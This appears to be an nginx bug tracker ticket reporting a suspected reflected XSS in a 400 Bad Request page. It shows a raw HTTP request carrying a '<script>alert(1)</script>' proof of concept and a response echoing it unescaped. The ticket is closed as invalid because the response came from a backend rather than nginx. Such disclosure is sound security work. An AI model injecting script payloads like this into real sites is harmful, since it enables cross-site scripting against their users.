#570 closed defect (invalid)
Potential XSS in "400 Bad Request" response
| Reported by: | arend wolters | Owned by: | |
|---|---|---|---|
| Priority: | major | Milestone: | 1.7.2 |
| Component: | nginx-core | Version: | 1.5.x |
| Keywords: | Cc: | raj.wolters@… | |
| uname -a: | ? | ||
| nginx -V: | ? | ||
Description
Hi I treid to add this issue yesterday but got no feedback.
I suspect something went wrong and therfore I will retry to add this issue.
Potential XSS in "400 Bad Request" response
When providing a XSS PoC in the query string as below
GET /profile/rxs/? <script>alert(1)</script> HTTP/99.2
Host: *
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: sessionid=*
Connection: keep-alive
The server replies with a 400 response containing the unescaped PoC string.
Thus confirming the potential for XSS
HTTP/1.1 400 Bad Request
Server: nginx
Date: Wed, 04 Jun 2014 13:19:50 GMT
Content-Type: text/html
Content-Length: 200
Connection: keep-alive
<html>
<head>
<title>Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>
<p>Invalid HTTP Version 'Invalid HTTP Version: <script>alert(1)</script> HTTP/1.0'</p>
</body>
</html>
This issue was found using BurpSuite as intercepting proxy.
It seems this exploit is hard to trigger in a browser as the space will be ULR encoded, by doing so the problem is not triggerd.
At the moment of writing I didn't look in the source to determine which part of the code is responsible.
Change History (2)
comment:1 by , 10 years ago
| Resolution: | → invalid |
|---|---|
| Status: | new → closed |
comment:2 by , 8 years ago
| sensitive: | 1 → 0 |
|---|
The response provided is not something returned by nginx, likely it's a backend response.